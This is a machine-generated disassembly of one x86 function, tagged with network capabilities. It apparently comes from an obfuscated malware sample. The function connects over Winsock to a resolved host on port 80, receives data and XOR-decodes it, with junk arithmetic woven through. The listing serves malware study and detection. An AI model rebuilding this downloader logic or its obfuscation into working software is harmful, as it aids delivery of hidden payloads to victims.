Function at 0x408550
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c3e0
push 0xffffffffffffffff
push 0x41e31b
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x425f90]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], eax
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], eax
mov byte [ebp + 0x1a4], al
fldz
mov edi, dword [ebp + 0x1448]
fst dword [ebp - 0x18]
fldz
mov byte [ebp + 0x11bc], al
fst qword [ebp - 0x40]
mov byte [ebp - 4], 1
fst qword [ebp - 0x48]
fxch st(1)
mov dword [ebp - 0x1c], eax
fst dword [ebp - 0x18]
fst dword [ebp - 0x24]
mov eax, edi
fxch st(1)
lea edx, [eax + 1]
fst qword [ebp - 0x38]
fstp qword [ebp - 0x30]
fst dword [ebp - 0x18]
fstp dword [ebp - 0x28]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4085f8
sub eax, edx
mov ebx, eax
cmp ebx, 0x7f
jg 0x408719
fld dword [ebp - 0x24]
fsubr qword [0x41f838]
call fcn.0040af20
fld1
fld qword [0x41f830]
mov dword [0x423504], eax
xor esi, esi
cmp esi, ebx
jg 0x4086cf
inc dword [ebp - 0x1c]
mov edx, dword [ebp - 0x1c]
sub edx, 0x71e5b0ed
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
fld qword [ebp - 0x30]
fcompp
fnstsw ax
fld qword [ebp - 0x30]
fsub st(2)
fstp qword [ebp - 0x30]
test ah, 5
jp 0x408661
add dword [0x423134], 0xc8ea455f
fld dword [0x424388]
mov cx, word [0x425df0]
mov al, byte [esi + edi]
fsub st(1)
movsx edx, cx
mov dword [ebp - 0x18], edx
mov byte [ebp + esi + 0x13bc], al
fild dword [ebp - 0x18]
faddp st(1)
call fcn.0040af20
mov word [0x425df0], ax
fld dword [0x424388]
cmp byte [ebp + esi + 0x13bc], 0x2f
fsub st(2)
fstp dword [0x424388]
jne 0x4086c9
fstp st(0)
mov byte [ebp + esi + 0x13bc], 0
mov eax, esi
cmp eax, ebx
jg 0x4086d1
mov dl, byte [eax + edi]
mov ecx, eax
sub ecx, esi
mov byte [ebp + ecx + 0x11bc], dl
inc eax
jmp 0x4086b4
inc esi
jmp 0x408629
fstp st(0)
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086da
mov edi, dword [ebp - 0x14]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086ed
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x40873e
cmp dword [ebp + 0x1b8], 0x10
fstp st(0)
jb 0x408719
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040aaae
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b56a
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
inc dword [0x424138]
fsubr dword [0x425d94]
fstp dword [0x425d94]
mov ecx, dword [0x424138]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fsub dword [0x425d94]
mov dx, word [0x425138]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
faddp st(1)
call fcn.0040af20
mov word [0x425138], ax
mov eax, edi
mov ecx, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408783
lea edi, [ebp + 0x11bc]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408795
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x425d9c
rep movsb byte es:[edi], byte [esi]
call fcn.004014e0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087c0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408330
fld qword [ebp - 0x48]
fsubr qword [0x41f828]
xor eax, eax
xor ebx, ebx
push esi
fmul dword [0x42514c]
fstp dword [0x42514c]
fld qword [ebp - 0x48]
mov dword [esi], eax
fsub qword [0x41f358]
mov byte [esi + 4], al
fstp qword [ebp - 0x48]
mov dword [ebp - 0x14], ebx
fldz
fstp dword [ebp - 0x14]
call fcn.0040b455
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408820
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408410
push 0x32
push 0x424354
call fcn.004014e0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408850
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408410
fldz
push 0x32
push ebx
mov dword [ebp - 0x14], ebx
fstp dword [ebp - 0x14]
push esi
call fcn.0040b4f0
push esi
call fcn.0040b455
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408890
sub eax, edx
push eax
lea edx, [ebp + 0x13bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.00408410
push 5
push 0x4242a0
call fcn.004014e0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088c0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408410
fldz
xor eax, eax
mov dword [esi], eax
mov dword [ebp - 0x14], ebx
fstp dword [ebp - 0x14]
push esi
mov byte [esi + 4], al
call fcn.0040b455
add esp, 4
lea eax, [ebp]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x408991
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x18], esi
cmp esi, 0xffffffff
jne 0x40892d
call sub.WS2_32.dll_WSACleanup
add dword [0x425e1c], 0x9f43bab0
jmp 0x408d43
cmp dword [ebp + 0x1458], ebx
je 0x408981
fld qword [ebp - 0x40]
mov ax, word [0x425dfc]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
push 4
lea edx, [ebp + 0x1458]
fild dword [ebp - 0x14]
push edx
push 0x1006
push 0xffff
fsubp st(1)
push esi
fsub qword [0x41f820]
fadd qword [ebp - 0x38]
fstp qword [ebp - 0x38]
dec word [0x425dfc]
fld qword [ebp - 0x40]
fsub qword [0x41f358]
fstp qword [ebp - 0x40]
call sub.WS2_32.dll_setsockopt
lea eax, [ebp + 0x13bc]
push eax
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
jne 0x4089aa
cmp dword [ebp + 0x1b8], 0x10
jb 0x408719
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x408711
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov word [ebp + 0x192], ax
mov edi, 0x10
push edi
lea eax, [ebp + 0x190]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x408a2a
fld qword [0x425dd0]
mov ecx, dword [0x424148]
fsub qword [0x41f818]
mov dword [ebp - 0x14], ecx
fadd qword [0x41f810]
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040af20
cmp dword [ebp + 0x1b8], edi
mov dword [0x424148], eax
jmp 0x408d4a
inc dword [ebp - 0x1c]
fld qword [0x424208]
fsub qword [0x41f358]
fstp qword [0x424208]
fld qword [0x424208]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x425df4]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
faddp st(1)
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040af20
mov dword [0x425df4], eax
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408a7c
lea eax, [ebp + 0x1a4]
mov edx, dword [ebp + 0x1b4]
push ebx
push edx
push eax
push esi
call sub.WS2_32.dll_send
movzx ecx, word [0x425298]
sub ecx, 0x3213ff99
mov word [0x425298], cx
cmp eax, dword [ebp + 0x1b4]
jae 0x408ab2
cmp dword [ebp + 0x1b8], edi
jmp 0x408d4a
mov ecx, dword [ebp - 0x20]
push ebx
push 0x41f808
call fcn.00408330
or edi, 0xffffffff
or ebx, edi
mov ecx, dword [ebp - 0x18]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
push ecx
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408c16
mov ecx, dword [ebp - 0x20]
push eax
lea edx, [ebp + 0x1bc]
push edx
call fcn.00408410
test edi, edi
jge 0x408be9
fld qword [0x425280]
fsubr qword [0x41f800]
call fcn.0040af20
mov dword [0x425268], eax
fld qword [0x425280]
fsub qword [0x41f358]
push 5
push 0x4242a0
fstp qword [0x425280]
call fcn.004014e0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b38
mov ecx, dword [ebp - 0x20]
sub eax, edx
push eax
push 0
push esi
call fcn.004051e0
fldz
mov edi, eax
xor eax, eax
mov dword [ebp - 0x14], eax
fstp dword [ebp - 0x14]
mov dword [esi], eax
push esi
mov byte [esi + 4], al
call fcn.0040b455
fld qword [ebp - 0x40]
fsub qword [0x425e10]
add esp, 4
fsub qword [0x41f7f8]
fadd qword [0x425e70]
fstp qword [0x425e70]
test edi, edi
jl 0x408be9
mov eax, dword [ebp - 0x20]
push eax
add edi, 4
call fcn.00407930
mov ebx, eax
add esp, 4
mov dword [ebp - 0x14], ebx
test ebx, ebx
jge 0x408bed
push 0xb
push 0x424b08
call fcn.004014e0
fld qword [0x41f7f0]
mov ecx, dword [ebp - 0x20]
fstp qword [ebp - 0x38]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00406b20
fld dword [0x4241b0]
fmul qword [0x425128]
push esi
push 0xb
mov ebx, eax
fstp qword [0x425128]
call fcn.00402ac0
add esp, 8
test ebx, ebx
jge 0x408c16
mov ebx, dword [ebp - 0x14]
test ebx, ebx
jl 0x408bf9
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408c16
cmp dword [ebp + 0x1458], 0
je 0x408ac5
mov edx, dword [ebp - 0x20]
cmp dword [edx + 0x14], 0x4000
jb 0x408ac5
mov eax, dword [ebp - 0x18]
push eax
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
dec dword [ebp - 0x1c]
fld dword [0x4241c8]
fsub qword [0x41f7e8]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], ecx
fsub qword [0x41f7e0]
fild dword [ebp - 0x14]
fadd qword [ebp - 0x38]
fcompp
fnstsw ax
fld qword [ebp - 0x38]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [ebp - 0x38]
test ah, 5
jp 0x408c74
mov edx, dword [0x424304]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fmul qword [0x425db8]
fstp qword [0x425db8]
jmp 0x408c98
mov ax, word [0x42427c]
movsx ecx, ax
mov edx, 0xd9d75a39
sub edx, ecx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fsub dword [ebp - 0x24]
fstp dword [ebp - 0x24]
fld dword [ebp - 0x24]
fsub st(1)
fstp dword [ebp - 0x24]
test edi, edi
jl 0x408caf
push edi
fstp st(0)
mov edi, dword [ebp - 0x20]
push 0
mov ecx, edi
call fcn.00406a90
fld1
jmp 0x408cb2
mov edi, dword [ebp - 0x20]
mov bl, byte [ebp + 0x1454]
test bl, bl
je 0x408d37
xor esi, esi
cmp esi, dword [edi + 0x14]
jae 0x408cfc
fld qword [ebp - 0x30]
fstp dword [ebp - 0x24]
fld qword [ebp - 0x30]
fadd st(1)
fstp qword [ebp - 0x30]
cmp esi, dword [edi + 0x14]
jbe 0x408ce3
fstp st(0)
call fcn.0040bac3
fld1
cmp dword [edi + 0x18], 0x10
jb 0x408cf2
mov eax, dword [edi + 4]
xor byte [eax + esi], bl
inc esi
jmp 0x408cc2
xor byte [edi + esi + 4], bl
lea eax, [edi + 4]
inc esi
jmp 0x408cc2
fld dword [ebp - 0x28]
fadd qword [0x425db0]
fcomp qword [0x41f7d8]
fnstsw ax
fadd dword [ebp - 0x28]
fstp dword [ebp - 0x28]
test ah, 0x41
jne 0x408d39
fld qword [0x424308]
mov ax, word [0x4241bc]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fsubp st(1)
fstp qword [0x424308]
jmp 0x408d39
fstp st(0)
add dword [0x424148], 0xc9f7ac19
cmp dword [ebp + 0x1b8], 0x10
jb 0x408719
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x408711